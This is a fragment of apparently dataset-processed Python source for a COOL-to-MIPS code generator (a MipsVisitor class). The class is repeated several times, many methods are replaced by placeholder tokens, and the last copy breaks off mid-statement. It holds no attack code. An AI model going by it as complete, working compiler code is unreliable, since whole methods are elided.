register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if 